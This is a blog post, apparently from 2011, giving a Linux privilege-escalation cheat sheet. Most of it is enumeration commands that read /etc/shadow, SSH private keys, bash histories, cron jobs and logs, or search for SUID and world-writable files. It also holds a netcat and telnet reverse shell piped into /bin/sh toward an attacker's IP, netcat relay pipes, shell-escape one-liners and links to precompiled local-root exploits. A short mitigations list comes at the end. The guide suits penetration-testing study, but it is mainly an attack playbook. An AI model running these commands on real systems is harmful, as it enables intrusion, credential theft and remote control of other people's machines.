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Operating System
What’s the distribution type? What version?
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cat /etc/issue
cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based |
What’s the kernel version? Is it 64-bit?
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cat /proc/version
uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- |
What can be learnt from the environmental variables?
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cat /etc/profile
cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set |
Is there a printer?
1 | lpstat -a |
Applications & Services
What services are running? Which service has which user privilege?
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ps aux
ps -ef top cat /etc/services |
Which service(s) are been running by root? Of these services, which are vulnerable – it’s worth a double check!
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ps aux | grep root
ps -ef | grep root |
What applications are installed? What version are they? Are they currently running?
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ls -alh /usr/bin/
ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/ |
Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
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cat /etc/syslog.conf
cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/ |
What jobs are scheduled?
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crontab -l
ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root |
Any plain text usernames and/or passwords?
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grep -i user [filename]
grep -i pass [filename] grep -C 5 “password” [filename] find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla |
Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
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/sbin/ifconfig -a
cat /etc/network/interfaces cat /etc/sysconfig/network |
What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
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cat /etc/resolv.conf
cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname |
What other users & hosts are communicating with the system?
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lsof -i
lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig –list chkconfig –list | grep 3:on last w |
Whats cached? IP and/or MAC addresses
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arp -e
route /sbin/route -nee |
Is packet sniffing possible? What can be seen? Listen to live traffic
1 | tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21 |
Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
Have you got a shell? Can you interact with the system?
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nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! |
Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
Is port forwarding possible? Redirect and interact with traffic from another view
Note: http://www.boutell.com/rinetd/
Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip
Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
1 | FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 |
Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
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ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port |
Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
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mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) |
Is tunnelling possible? Send commands locally, remotely
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ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig |
Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
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id
who w last cat /etc/passwd | cut -d: # List of users grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # List of super users awk -F: ‘($3 == “0”) {print}’ /etc/passwd # List of super users cat /etc/sudoers sudo -l |
What sensitive files can be found?
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cat /etc/passwd
cat /etc/group cat /etc/shadow ls -alh /var/mail/ |
Anything “interesting” in the home directorie(s)? If it’s possible to access
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ls -ahlR /root/
ls -ahlR /home/ |
Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
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cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg |
What has the user being doing? Is there any password in plain text? What have they been edting?
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cat ~/.bash_history
cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history |
What user information can be found?
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cat ~/.bashrc
cat ~/.profile cat /var/mail/root cat /var/spool/mail/root |
Can private-key information be found?
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cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key |
File Systems
Which configuration files can be written in /etc/? Able to reconfigure a service?
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ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null # Anyone
ls -aRl /etc/ | awk ‘$1 ~ /^..w/’ 2>/dev/null # Owner ls -aRl /etc/ | awk ‘$1 ~ /^…..w/’ 2>/dev/null # Group ls -aRl /etc/ | awk ‘$1 ~ /w.$/’ 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone |
What can be found in /var/ ?
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ls -alh /var/log
ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases |
Any settings/files (hidden) on website? Any settings file with database information?
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ls -alhR /var/www/
ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/ |
Is there anything in the log file(s) (Could help with “Local File Includes”!)
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cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp |
Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/
If commands are limited, you break out of the “jail” shell?
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python -c ‘import pty;pty.spawn(“/bin/bash”)’
echo os.system(‘/bin/bash’) /bin/sh -i |
How are file-systems mounted?
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mount
df -h |
Are there any unmounted file-systems?
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What “Advanced Linux File Permissions” are used? Sticky bits, SUID & GUID
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find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r “bin$”`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in ‘common’ places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null |
Where can written to and executed from? A few ‘common’ places: /tmp, /var/tmp, /dev/shm
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find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders |
Any “problem” files? Word-writeable, “nobody” files
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find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files |
Preparation & Finding Exploit Code
What development tools/languages are installed/supported?
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find / -name perl*
find / -name python* find / -name gcc* find / -name cc |
How can files be uploaded?
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find / -name wget
find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp |
Finding exploit code
http://metasploit.com/modules/
http://seclists.org/fulldisclosure/
Finding more information regarding the exploit
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]
(Quick) “Common” exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
Mitigations
Is any of the above information easy to find?
Try doing it! Setup a cron job which automates script(s) and/or 3rd party products
Is the system fully patched?
Kernel, operating system, all applications, their plugins and web services
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apt-get update && apt-get upgrade
yum update |
Are services running with the minimum level of privileges required?
For example, do you need to run MySQL as root?
Scripts Can any of this be automated?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net
Other (quick) guides & Links
Enumeration
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm
Misc
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html
Posted by g0tmi1kAug 2nd, 2011 12:00 am bypassing, commands, privilege escalation
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